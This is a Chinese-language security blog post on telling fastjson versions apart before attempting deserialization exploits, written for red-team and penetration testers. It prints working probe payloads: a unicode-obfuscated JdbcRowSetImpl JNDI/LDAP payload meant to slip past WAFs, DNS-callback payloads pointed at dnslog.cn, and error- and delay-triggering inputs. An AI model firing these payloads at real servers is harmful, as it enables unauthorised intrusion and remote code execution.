Part1 前言
最近幾天一直在審計Java漏洞，周六周天也沒休息，是以上周文章就沒寫，今天抽空寫一篇文章補上。在最近幾年的攻防比賽、紅隊評估項目、滲透測試中，fastjson反序列化漏洞是一個非常常見的漏洞，和shiro反序列化漏洞一樣，幾乎每次比賽都能遇到，很多白帽子、攻擊隊隊員都用這個漏洞拿到過權限。
對于fastjson反序列化漏洞的利用，第一步要做的事情，就是想辦法去判斷fastjson的版本号，因為不同版本的fastjson漏洞利用方式有所不同，比如說早期的版本1.2.x、後期的1.2.47之前版本、後期的1.2.68之前版本、最新的1.2.80版本漏洞等等。如果不能區分版本号的話，那就隻能把各種POC批量打一圈了，這樣做也無可厚非，但是在實戰過程中，一旦漏洞利用不成功，很難準确判斷原因是什麼，可能是因為waf原因，可能是fastjson版本過低或者過高，可能是有openrasp在等等，無法對症下藥。是以，這篇文章就分享一下，如何大緻區分fastjson版本号，以便于更快地在實戰中對fastjson反序列化漏洞進行研判。
Part2 技術研究過程
- 判斷方法分類
根據以往ABC_123開發Struts2漏洞工具、Weblogic反序列化漏洞工具的經驗，判斷漏洞是否存在，無非是以下幾種方法：
1 顯錯判斷
想辦法使伺服器元件抛出異常，也就是報錯，在報錯中得到我們想要的資訊。
2 DNS請求判斷
想辦法觸發一個DNS請求，前提是伺服器出網，并且外圍裝置開放了DNS協定，然後你的dnslog服務位址沒被監控裝置攔截；
3 TCP、UDP端口請求判斷
這裡不止一個人問過我，用DNS請求直接判斷就可以了，為啥還得用端口來判斷呢？這裡我舉一個例子，如果一個内網機器，它沒配DNS的話，然後機器又是出網的，dnslog是收不到請求的，那麼隻能TCP或者UDP來判斷了，這種情況我遇到過好幾次了）。
4 延遲判斷
想辦法使其觸發一個延遲。可以執行Java的sleep代碼，可以像mysql注入那樣計算一個公式bench.mark(5000000,m.d5( 'test' ))，也可以發起一個輕微的DoS請求。5、其它方法，比較少見，而且不适用于本次fastjson漏洞檢測，這裡就不具體叙述了。
接下來講一講對于fastjson有哪些POC可以用來判斷或者區分版本号。
- 延遲判斷
先講一下觸發延遲的2個方法吧，應該說是兩類方法，具體大家實戰中自己發散思維。
1 jndi請求延遲
首先看這個payload，适用于1.2.47之前版本的fastjson，這裡面有一個小技巧，通路一個不常見的外網IP位址，會延遲幾秒，通路一個内網位址127.0.0.1 會瞬間傳回，那麼證明這個POC可用，也間接證明fastjson版本是1.2.47之前的版本。那麼在不出網的情況下，可以借助這個POC的延遲效果，知道目标fastjson是<=1.2.47的，進而可以花時間和精力去構造POC實作回顯，或者直接打一個記憶體馬。
以下是一個經過unicode編碼的payload，一定程度上可以繞過一些waf，後續更多的fastjson繞waf方法，會專門寫一篇文章講解。
{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://11.111.22.222/test111","autoCommit":true}}
以下這個POC延遲，證明fastjson版本号1.1.16<=version<=1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://137.30.0.1:9999/POC","autoCommit":true}}
2 DOS漏洞觸發延遲
這個POC來自于淺藍，POC中的aaa的長度越長，觸發延遲效果越明顯，如果有延遲效果，那麼證明fastjson版本<=1.2.59，間接證明fastjson版本<=1.2.68，這個非常重要，這說明，這個fastjson是有可能拿下權限的，值得我們在實戰中花很多精力去研究它。
注：此POC慎用，不确定是否會影響業務系統，我一般實戰中，是逐漸增加a的數量的，切不可生搬硬套，輸入一大堆a
- 顯錯判斷
這個方法來自于淺藍，兩個POC如下，送出一下兩個POC，會抛出異常，有時候會顯示出fastjson版本号來。
1. {"@type": "java.lang.AutoCloseable"
2. ["test":1]
3. 輸入一些亂碼字元，讓web應用報錯，有時候也會帶出來版本号。
第2個POC成功率不高，但是實戰中成功過幾次。
- DNS請求判斷
我曾經搭建了不同的fastjson漏洞環境，發現網上很多文章對于各種fastjson漏洞dnslog payload與fastjson版本号的對應描述都不準确，很多還是有錯誤的。這裡我發出自己校勘的結果，不一定準确，僅供大家參考。
以下POC出網，說明fastjson<=1.2.47
{"name":{"@type":"java.net.InetAddress","val":"1247.xxxxx.dnslog.cn"}}
以下這個POC出網，說明fastjson>=1.2.37
{{"@type":"java.net.URL","val":"http://weffewfddd.dnslog.cn"}:"aaa"}
以下這個POC出網，證明fastjson版本号1.1.16<=version<=1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxxdsf.dnslog.cn:9999/POC","autoCommit":true}}
以下這幾個POC，隻能證明fastjson出網，無法判斷fastjson是否存在反序列化漏洞，因為最新的打了更新檔的fastjson也是能發起DNS請求的。這是很多新手，誤以為能DNS出網，就認為存在fastjson漏洞，這是不正确的。
{"@type":"java.net.Inet6Address","val":"sdffsd.dnslog.cn"}
{"@type":"java.net.Inet4Address","val":"xxxxx.dnslog.cn"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"wefewffw.dnslog.cn"}}
以下這個POC比較不錯，是之前從天眼裝置上抓到的，實戰中用一用會有意想不到的效果。
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://allmet.dnslog.cn"}}""}
Set[{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}]
Set[{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}
{{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}:0
Part3 總結
1. 把以上的各種方法組合起來判斷，寫一個自動化fuzz工具，基本上大緻可以判斷出fastjson版本号的區間了，以便我們在實戰中對症下藥，快速拿下權限。
2. 上述的這些過程，部分同學可能無法了解，這麼費心思的去判斷fastjson版本号的意義何在？台上一分鐘，台下十年功，這樣的總結為的就是在實戰中快速拿下權限，否則一次比賽3、4天，怼一個fastjson用了大半天時間，發現人家的版本是最新的，豈不白費功夫。還有可能一個fastjson反序列化漏洞，我們搞不定，但是發現别人搞定了，最後一咨詢發現是POC是1.2.68的寫檔案拿下來的，但是我們卻以為是最新版本，沒有去嘗試。
3. 還有很多POC可以用于fastjson版本判斷，篇幅有限，就不一一列舉了。大家可以按照上述思路自己總結出一套方法，做成小腳本或自動化工具，向工具化、武器化、自動化、平台化邁進！就很容易在實戰中得到fastsjon版本号的區間，快速進行漏洞研判了。
4. 以上叙述如果有錯誤，歡迎大家批評指正。
公衆号專注于網絡安全技術分享，包括APT事件分析、紅隊攻防、藍隊分析、滲透測試、代碼審計等，每周一篇，99%原創，敬請關注。
Contact me: 0day123abc#gmail.com(replace # with @)